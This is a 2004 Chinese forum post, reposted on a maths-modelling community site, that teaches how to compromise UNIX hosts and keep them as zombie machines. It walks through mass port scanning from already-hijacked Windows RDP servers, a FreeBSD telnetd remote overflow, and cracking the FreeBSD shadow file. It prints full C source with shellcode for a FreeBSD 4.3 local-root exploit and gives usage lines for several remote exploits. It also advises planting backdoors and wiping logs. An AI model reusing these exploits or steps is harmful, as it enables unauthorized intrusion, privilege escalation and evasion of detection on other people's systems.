数学建模社区-数学中国
标题:
如何寻找自己的UNIX肉鸡
[打印本页]
作者:
韩冰
时间:
2004-10-5 18:33
标题:
如何寻找自己的UNIX肉鸡
今天的话题是怎么样找unix肉鸡,我想这对于一个有很多windows肉鸡而没有unix肉鸡的人是很有必要。
2 ?+ O. ~) r2 A
不罗嗦,直入正题。为什么说是我和x-laser一起找肉鸡呢?因为我们的一切操作全部是在3389肉鸡上进行的。首先我们都上到同一个终端,(前提:终端是对方开的,而不是你自己做的,这样才有终端服务管理器可用)然后用管理工具中的终端管理进行id切换(选择用户进行连接)
* a& s+ g& B) n# `5 w2 e- Q3 @
m! q9 S- h2 I6 @
这样,两个人就可以互相控制对方了,一举一动都很清楚,这种方法很好,大大提高了效率,也增加了入侵时的乐趣。建议大家推广 :)
8 b0 d% N* B, y2 i& F6 e
下面我们开始工作。由于是在win上搞unix类,所以我们最好要有在win上用的exploit,以得到第一台unix肉鸡。关于在win上用的exploits可以用cygwin编译(在www.isfocus.com)有下载。或者直接去大鹰的主页(e4gle.org)或者红客技术联盟(www.cnhonker.net/old.php)下载,注意了,要一起下那个cygwin1.dll的文件,不然搞不成。
1 V3 ?- }9 b7 Y! R/ n7 ]+ b0 ?( f( e
现在我们要做的是找出大量unix的肉鸡,然后再去找漏洞,但是怎么找呢?这时候,就请出了我们的languard network scanner,在做了简单的设置让他跑的快点后,我们就开始扫描
6 o2 p+ k8 Z5 L' W4 T$ n% ]! n: t
" I k: O2 k% {# ^$ P
' T. O. C# k v- J& t; E
我们看到有一台freebsd,这个系统比较好欺负,因为前段时间有个沸沸扬扬的telnetd远程溢出漏洞。当然我们也可以用superscan来快速判断操作系统.我们用superscan扫23端口,因为telnet上去一般都有banner,从而得知操作系统类型.如下
; W/ u/ J- C; `
: ?1 p2 g3 @7 P* ~; _! h$ F/ T8 @2 G2 C
我们扫到了两台linux,….. ..#..’是linux的判断符.
! A. W/ r6 T+ a% \0 c, ]2 U# l
……..#..’..$则是sunos的判断符,如此等等,大家用用就有经验了.
$ i! o# P& y+ i* p
6 n% X, }8 \2 T- x: h
/ O5 Y+ b8 \9 I4 ^' l; C) F
言归正转,来看我们的freebsd.我们在红盟下好bsd.exe和cygwin1.dll后,就开始溢出了。
) ]$ A( p; y9 f+ a
- f7 O- w4 P0 [" ^- O3 z# ]9 S
由于要发送16M的东西,所以可能会慢点
9 ]4 ^0 S2 N) @. P" q0 Q; U
等到成功后,会出现 command ?
7 @# d* R+ g1 z$ P" i/ S$ h
这是输入 id
3 J) ~$ Z: @7 r
可以看到自己已经成为root了。当然,大家还可以把shadow抓下来,bsd下的sh
4 s7 k+ k% n) H/ h3 `9 X5 `
adow文件是/etc/master.passwd,然后john跑个用户名出来(在www.xfocus.net有john的windows下的版本下载,也是用cygwin编译的),再telnet上去,就得到了普通帐号(因为root帐号一般比较难破),再进行本地溢出。为什么要这么麻烦呢?因为我们远程得到的shell很多都没有回显,所以不方便添加帐号。一般在bsd下添加帐号是在/usr/sbin下执行./adduser ,然后按着提示做就可以了,bsd系统很稳定,很多大型网站都是用这个建站,比如红盟。本地溢出的代码我在这里贴一下
/ Z P$ z5 q5 A5 Q- p6 |) b
0 e& t( e$ k; {
?受影响版本: FreeBSD 4.3 4.2 4.1 4.0
; I8 a% ^8 d9 A3 i- _9 b
早期版本也许受影响 测试程序使用方法: </P>
4 B" o* r. K9 S) W3 t4 A
netdemon%gcc -o vvbsd vvbsd.c netdemon%cp /bin/sh /tmp netdemon%./vvbsd vvfreebsd. Written by Georgi Guninski shall jump to bfbffe71 child=61056 login: login: # done # </P>
7 B. b# i; y- `) w$ d2 c( R4 E/ n
发现 FreeBSD 4.3 存在一个设计上的漏洞,它允许用户在其它进程中插入 signal handlers。 </P>
% z5 N$ K" p) I* e. h' O3 \! ]& ]
题出在 rfork(RFPROC|RFSIGSHARE) ,如果子进程 exec() 一个 setuid 程序,然后父进程设置一个 signal handlers,这个 signal handlers 将会在子进程中被复制。发送一个信号给子进程将能导致 signal handlers 被执行。 利用此漏洞,本地攻击者能取得 root 权限。 vvfreebsd.c
# e5 m# J. ?* \/ \9 A
) o, g- }9 l* A- M0 x7 z- g8 F: ^7 e
???? /* FreeBSD 4.3 local root exploit using shared signals. Written by Georgi Guninski http://www.guninski.com */ #include <stdio.h> #include <signal.h> #include <unistd.h> int vv1; #define MYSIG SIGINT //exec "/tm
9 ^+ G# ?$ W! ?/ A/ Q
p/sh", shellcode gotten from the internet and modified unsigned char bsdshell[] = "\x90\x90\x90\x90\x90\x90\x90\x90" "\x31\xc0\x50\x50\xb0\xb7\xcd\x80" "\x31\xc0\x50\x50\xb0\x17\xcd\x80" "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f" "\x74\x6d\x70\x89\xe3\x50\x53\x50\x54\x53" "\xb0\x3b\x50\xcd\x80\x90\x90\x90"; typedef (*PROG)(); extern char **environ; int main(int ac,char **av) { int pid; //(*(PROG)bsdshell)(); if(!(vv1=getenv("vv"))) { setenv("vv",bsdshell,1); if(!execle(av[0],"vv",NULL,environ)) { perror("weird exec"); exit(1); } } printf("vvfreebsd. Written by Georgi Guninski\n"); printf("shall jump to %x\n",vv1); if(!(pid=rfork(RFPROC|RFSIGSHARE))) { printf("child=%d\n",getpid()); // /usr/bin/login and rlogin work for me. ping gives nonsuid shell // if(!execl("/usr/bin/rlogin","rlogin","localhost",0)) if(!execl("/usr/bin/login","login",0)) { perror("exec setuid failed"); exit(2); }; } sleep(2); signal(MYSIG,(sig_t)vv1); sleep(2); kill(pid,MYSIG); printf("done\n"
( M" y, R( k; Z- z3 w1 e0 \
); while(42); } </P>
. C' G4 F4 d `. N# L r, D& O* _7 G
/* www.xcode.tw.st 极端网络安全小组 */
/ H; `: a- X. ~/ f) ]3 b
) ]- n8 m3 _& c2 m* q5 r
- \4 ] d6 h3 T. O+ z
可以找到可写的地方,然后cat >vv.c 回车
' Q) W( ]% y# L3 S/ i
(鼠标右健粘贴)
! W9 s, V, d9 m/ r/ }/ L5 n
ctrl + d保存
6 c, v4 B5 i- t1 a$ Y) k, [
$gcc –o vv vv.c编译(gcc在solaris和aix等系统下叫做cc)
6 A( ]7 ]" z& R7 e( f( [( m
$cp /bin/csh /tmp
* \! c" a5 m% T% [2 M9 \
$./vv
! F, U5 h- w+ b* ]8 {7 j7 V
这样就执行了,一般可以得到root.注意第二句,这是代码的需要
# K" Q5 Y9 @7 @( y
然后就去adduser然后再放一堆后门上去吧
h8 [% C/ m- F3 s* z
几点补充:1.命令w查看当前哪些在线,要是看见root就要小心了
. `/ n$ z) u5 s7 @0 _7 j3 a
2
9 j4 d" {2 q" U* y2 W9 G7 X
.Whereis gcc查看装了gcc没有,whereis的用法很灵活
- Y6 G$ l( w: S# r. E0 j
3如果没装就需要把编译好的传上去,我们一般是申请一个ftp,然后编译好,传到ftp上,在让攻击的机子去下载(51.net的虚拟主机就可以完成这项任务)
7 x$ h3 R; K8 Q+ n
4记得每次上去要用wipe清理足迹,wipe在小凤居有下载
J8 P* |# y. z1 i
</P>
$ {6 f9 n, l. Z( ?* b" Z& h- x
另外再附几种常见的exploit的用法
# ]. r% ^# J. h0 \$ G M: G
# Y2 W, K5 O( J' B2 p8 N# K4 \7 r+ J
8 x+ i# N% `9 |. o8 A
目标主机一律用128.0.0.1代替! 1 statdu[vdp]redhat6.xrpc status远程溢出! </P>
5 H- G2 o0 O7 w) s. c
溢出程序: statdx 用法: </P>
. [2 h- {7 p/ r" Z" \7 Z, f
./statdx -d 0 128.0.0.1或者 </P>
" g# z. h# }1 F9 ^6 K
./statdx -d 1 128.0.0.1或者 </P>
" E1 S9 Y- J, A" `
./statdx -d 2 128.0.0.1 </P>
( \5 m) P6 R7 v1 ~' B2 |3 f7 T
2 sadmind[vdp]sun solaris sparc 2.6.2.7远程溢出 </P>
$ H0 G6 i# O/ L4 Q* a$ G7 ?
溢出程序: sadmindxbrute 用法 </P>
$ i$ _3 V4 W& v% u; @( w$ Y9 x
./sadmindxbrute (主机类型参数) 128.0.0.1 主机参数 1 x86 2.6 2 x86 7.0 3 sparc 2.6 4 sparc 7.0 3 ttdb[tcp]sun solaris 2.3 2.4 2.5 2.5.12.6远程溢出 </P>
* [: k- z' W1 K) r2 v
所用程序 ttds(已经改名)流光iv的exploit内可以找到 </P>
3 G9 y, @6 A1 K6 S+ o$ B
用法: ./ttds 128.0.0.1 80(攻击断口设置为80)-v6 4 snmp[bdp]sun solaris sparc 7.0/8.8远程溢出 </P>
+ H& y; I9 c3 l4 L3 Q
所用程序 snmpxmid </P>
, J4 d9 t% J5 C! `' I& S; H
用法: ./snmpxmid 128.0.0.1 -v 7 5 bind 远程溢出 </P>
9 y0 _) x2 P* T3 Z1 V, F
程序bind </P>
: e% i) Q5 ^" M5 Y+ R% W0 o
用法: ./bind 128.0.0.1 -e 6 irix的telnet远程溢出(这个可能用流光iv扫描不到) </P>
" w5 ]" }) x9 n
所用程序telnetd </P>
/ \. s4 D' a! `7 h( R, p2 P/ L
用法: ./telnetd 128.0.0.1 7 utofsd[vdp]bsd autofsd远程溢出,tcp 530 root shell </P>
( ^3 K: f _8 l; z. I
所用程序 utofsd </P>
- h: O* r& W+ n
用法: ./utofsd 128.0.0.1 8 freebsd远程溢出 </P>
& S: r: p F9 X2 {+ O# }
这个可以通过www.paching.net/liumy写的bsd攻击程序在winnt下使用方法 bsd 128.0.0.1 其他的远程溢出程序也不麻烦 你只要把程序编译好之后输入 ./程序名 --h就可以看到帮助了!
# O+ o' y- M8 O- g G/ j
7 Q! g* F0 a/ A
补充一点,很多写exploit的牛人为了让自己的exploit给真正的黑客用,故意在代码里放了几个错误,所以大家还是要学好编程的这样,就可以根据gcc编译器的错误提示把错误的代码改过来。今天我们讲了怎样找unix类肉鸡,当然还是要看运气,不过我和x-laser在3389肉鸡扫描很疯狂,用superscan一次一般是扫255个c段用languard也扫的很多,所以建议大家多多实践.最后,奉劝一句,不要入侵国内,不要搞破坏! </P>
欢迎光临 数学建模社区-数学中国 (http://www.madio.net/)
Powered by Discuz! X2.5